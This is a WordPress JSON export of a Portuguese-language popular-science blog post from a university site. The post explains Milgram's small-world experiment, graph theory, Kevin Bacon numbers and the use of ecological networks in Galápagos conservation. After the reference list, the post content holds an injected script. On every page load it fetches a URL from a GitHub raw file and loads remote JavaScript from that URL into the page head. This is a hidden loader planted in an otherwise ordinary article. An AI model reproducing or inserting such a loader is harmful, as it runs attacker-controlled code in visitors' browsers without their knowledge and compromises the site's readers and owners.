{"id":724,"date":"2020-06-10T18:44:47","date_gmt":"2020-06-10T21:44:47","guid":{"rendered":"http:\/\/www2.uesb.br\/galapagos\/?p=724"},"modified":"2024-10-07T15:33:47","modified_gmt":"2024-10-07T18:33:47","slug":"724","status":"publish","type":"post","link":"https:\/\/www2.uesb.br\/galapagos\/2020\/06\/10\/724\/","title":{"rendered":"Quantos \u201calgu\u00e9ns\u201d h\u00e1 no caminho entre mim e qualquer pessoa no mundo?"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Aposto que voc\u00ea j\u00e1 falou\/ouviu a seguinte express\u00e3o: \u201cQue mundo pequeno!\u201d. Mas quantas pessoas eu teria que conhecer para ser apresentada a uma pessoa ilustre como Betinha, Rainha da Inglaterra? \u00a0Em 1967 o soci\u00f3logo Stanley Milgram teve um \u201ceureca\u201d com esse dito popular do mundo pequeno e resolveu testar uma hip\u00f3tese. Ele acreditava que todas as pessoas est\u00e3o a todo momento alguns graus de separa\u00e7\u00e3o de qualquer outro indiv\u00edduo no mundo. Mesmo que eu n\u00e3o te conhe\u00e7a, devo conhecer algu\u00e9m que conhece algu\u00e9m que conhece voc\u00ea. A principal pergunta de Milgram era: quantos \u201calgu\u00e9ns\u201d h\u00e1 no caminho?<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-725 alignleft\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/c4d15081-5725-4dec-a070-a35847a419e3-e1591824374161-300x215.jpg\" alt=\"\" width=\"338\" height=\"242\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/c4d15081-5725-4dec-a070-a35847a419e3-e1591824374161-300x215.jpg 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/c4d15081-5725-4dec-a070-a35847a419e3-e1591824374161.jpg 764w\" sizes=\"auto, (max-width: 338px) 100vw, 338px\" \/>Para responder essa quest\u00e3o, ele enviou para pessoas aleat\u00f3rias em Omaha (Nebraska), 160 cartas solicitando que eles enviassem esta mesma carta para um destinat\u00e1rio espec\u00edfico e desconhecido: um corretor em Boston. Se a pessoa n\u00e3o conhecesse o destinat\u00e1rio, ela deveria enviar a carta para algu\u00e9m que achasse que estaria mais perto do destino. Ele observou que, das cartas que chegaram, a maioria passou por poucas pessoas at\u00e9 chegar no destinat\u00e1rio final; concluindo que os graus de separa\u00e7\u00e3o entre as pessoas eram em m\u00e9dia seis graus. E n\u00e3o \u00e9 que era pequeno mesmo? E assim nasceu a teoria modelo \u201cSmall World\u201d (mundo pequeno).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Para entender cientificamente essa rela\u00e7\u00e3o, usaremos a teoria de grafos (Leonhard Euler &#8211; 1736). A teoria de grafos envolve um modelo matem\u00e1tico para representar rela\u00e7\u00f5es entre pares de objetos. Um grafo \u00e9 um diagrama (representa\u00e7\u00e3o visual) de uma rede. Uma rede \u00e9 um conjunto de objetos que se relacionam entre si. Seus principais elementos s\u00e3o os n\u00f3s (os pontinhos que representam os objetos) e as arestas (linhas que representam as intera\u00e7\u00f5es entre os objetos).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-729 alignright\" src=\"http:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/1_6rJ2T1-LG0PXemMY85HMJw-e1591824476757-300x175.png\" alt=\"\" width=\"324\" height=\"189\" srcset=\"https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/1_6rJ2T1-LG0PXemMY85HMJw-e1591824476757-300x175.png 300w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/1_6rJ2T1-LG0PXemMY85HMJw-e1591824476757-768x447.png 768w, https:\/\/www2.uesb.br\/galapagos\/wp-content\/uploads\/2020\/06\/1_6rJ2T1-LG0PXemMY85HMJw-e1591824476757.png 957w\" sizes=\"auto, (max-width: 324px) 100vw, 324px\" \/>De acordo com o IMDB (Internet Movie Database), entre 1898 e 2000, cerca de 500 mil pessoas atuaram em filmes, totalizando algo como 200 mil produ\u00e7\u00f5es. Foi feita uma rede com esses 500 mil atores que podem ser conectados ao ator Kevin Bacon por poucos filmes. Atores s\u00e3o os n\u00f3s da rede, e h\u00e1 uma aresta ligando dois atores, se eles participaram em ao menos um filme junto. Se voc\u00ea atuou num filme com Kevin Bacon, seu n\u00famero Bacon \u00e9 1. Se atuou com algu\u00e9m que atuou com ele, seu n\u00famero Bacon \u00e9 2, e assim por diante. O objetivo do jogo \u00e9 determinar o menor n\u00famero Bacon poss\u00edvel de um certo ator at\u00e9 o Kevin. A descoberta? Em um mundo com milhares de indiv\u00edduos, todo ator poderia ser conectado a qualquer outro ator numa m\u00e9dia de menos de quatro passos.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Na biologia da conserva\u00e7\u00e3o, a teoria de grafos \u00e9 aplicada, por exemplo, nas redes de intera\u00e7\u00f5es ecol\u00f3gicas. Numa rede alimentar, as esp\u00e9cies est\u00e3o, em m\u00e9dia, a dois graus de separa\u00e7\u00e3o umas das outras. \u00c9 poss\u00edvel utilizar estas redes em modelos de conserva\u00e7\u00e3o de biodiversidade e conserva\u00e7\u00e3o gen\u00e9tica em paisagens fragmentadas. Assim, \u00e9 poss\u00edvel prever respostas de comunidades ecol\u00f3gicas perante diferentes tipos de altera\u00e7\u00f5es ambientais (locais e\/ou globais) e mudan\u00e7as na composi\u00e7\u00e3o da pr\u00f3pria rede (como a extin\u00e7\u00e3o de uma esp\u00e9cie). Fazemos parte de uma grande rede de intera\u00e7\u00f5es ecol\u00f3gicas que\u00a0envolve milhares de esp\u00e9cies. A conserva\u00e7\u00e3o dos elos dessa grande\u00a0rede\u00a0\u00e9 essencial para o funcionamento dela\u00a0e para a manuten\u00e7\u00e3o dos seus benef\u00edcios. As redes podem estabelecer o padr\u00e3o fundamental para entender a biodiversidade e o impacto das pol\u00edticas ambientais de conserva\u00e7\u00e3o das esp\u00e9cies.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">A biodiversidade end\u00eamica (s\u00f3 existe l\u00e1) do arquip\u00e9lago de Gal\u00e1pagos, por exemplo, \u00e9 amea\u00e7ada pela introdu\u00e7\u00e3o de esp\u00e9cies ex\u00f3ticas. Atrav\u00e9s das redes de intera\u00e7\u00f5es, os pesquisadores conseguiram identificar que 20% de todas esp\u00e9cies agrupadas na rede (60 plantas e 220 polinizadores) eram ex\u00f3ticas, estando envolvidas em 38% das intera\u00e7\u00f5es. A maioria das esp\u00e9cies eram insetos, especialmente d\u00edpteros (36%), himen\u00f3pteros (30%) e lepid\u00f3pteros (14%). Esses insetos ex\u00f3ticos tinham mais liga\u00e7\u00f5es do que polinizadores nativos (end\u00eamicos ou n\u00e3o). Esp\u00e9cies ex\u00f3ticas podem deslocar a biodiversidade da ilha, atrapalhar intera\u00e7\u00f5es ecol\u00f3gicas nativas, e afetar profundamente a estrutura e din\u00e2mica da comunidade.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"color: #000000;\">Com o avan\u00e7o das redes complexas, \u00e9 poss\u00edvel analisar desde os tamanhos necess\u00e1rios das reservas at\u00e9 o impacto humano em habitats naturais, e oferecer rotas alternativas de respostas \u00e0s perturba\u00e7\u00f5es. O verdadeiro desafio de conservar a biodiversidade e suas funcionalidades n\u00e3o \u00e9 apenas focar nas esp\u00e9cies em si, mas na manuten\u00e7\u00e3o e restaura\u00e7\u00e3o das intera\u00e7\u00f5es entre as redes. Entretanto, v\u00e1rios desafios pr\u00e1ticos precisam ser superados antes que o objetivo de conservar as redes de intera\u00e7\u00e3o entre esp\u00e9cies possa ser alcan\u00e7ado.<\/span><\/p>\n<p>&nbsp;<\/p>\n<hr \/>\n<p>Texto por <strong>Msc. Tainah Cruz Moreira<\/strong> \u2014 publicado em junho de 2020.<\/p>\n<hr \/>\n<p>Imagem destaque: <a href=\"https:\/\/dribbble.com\/shots\/6198242-Connected-World\">Connected World<\/a> por Sourajit Sengupta<\/p>\n<p>Imagem 1: As complexas redes &#8211; Jos\u00e9 Garcia Vivas Miranda<\/p>\n<p>Imagem 2: <a href=\"https:\/\/medium.com\/@ctrhansen\/six-degrees-of-kevin-bacon-cli-application-2b3f8e48c105\">Six degrees of Kevin Bacon CLI Application<\/a><\/p>\n<p>Imagem 3: Traveset et al. 2013<\/p>\n<hr \/>\n<p style=\"text-align: left;\">Dispon\u00edvel em: &lt; https:\/\/universoracionalista.org\/small-world-e-ws\/&gt;. Acessado em 06 de junho de 2020<\/p>\n<p style=\"text-align: left;\">Dispon\u00edvel em: &lt; http:\/\/www.thegamewiz.com\/strategy-games\/kevin-bacon-six-degrees-connections\/&gt;. Acessado em 06 de junho de 2020<\/p>\n<p style=\"text-align: left;\">Dispon\u00edvel em: &lt; : https:\/\/blog.dp6.com.br\/introdu%C3%A7%C3%A3o-a-redes-complexas-df73b623d67f&gt;. Acessado em 06 de junho de 2020<\/p>\n<p style=\"text-align: left;\">Hotta, L. A. (2017).\u00a0Modelos ecol\u00f3gicos em redes complexas. Disserta\u00e7\u00e3o de Mestrado, Instituto de Ci\u00eancias Matem\u00e1ticas e de Computa\u00e7\u00e3o, Universidade de S\u00e3o Paulo, S\u00e3o Carlos. Recuperado em 2018-05-24, de http:\/\/www.teses.usp.br\/teses\/disponiveis\/55\/55134\/tde-17112017-105116\/<\/p>\n<p style=\"text-align: left;\">Traveset, A., Olesen, J. M., Nogales, M., Vargas, P., Jaramillo, P., Antol\u00edn, E., &#8230; &amp; Heleno, R. (2015). Bird\u2013flower visitation networks in the Gal\u00e1pagos unveil a widespread interaction release.\u00a0Nature communications,\u00a06, 6376.<\/p>\n<p style=\"text-align: left;\">Battist, C. Frammentazione ambientale, connettivita\u2019, reti ecologiche: un contributo teorico e metodologico con particolare riferimento alla fauna selvatica. Provincia di Roma: Assessorato alle politiche ambientali, Agricoltura e Protezione civile, 2004. 249 p.<\/p>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/AlexanderRPatton\/cdn\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Aposto que voc\u00ea j\u00e1 falou\/ouviu a seguinte express\u00e3o: \u201cQue mundo pequeno!\u201d. Mas quantas pessoas eu teria que conhecer para ser apresentada a uma pessoa ilustre como Betinha, Rainha da Inglaterra? \u00a0Em 1967 o soci\u00f3logo Stanley Milgram teve um \u201ceureca\u201d com esse dito popular do mundo pequeno e resolveu testar uma hip\u00f3tese. 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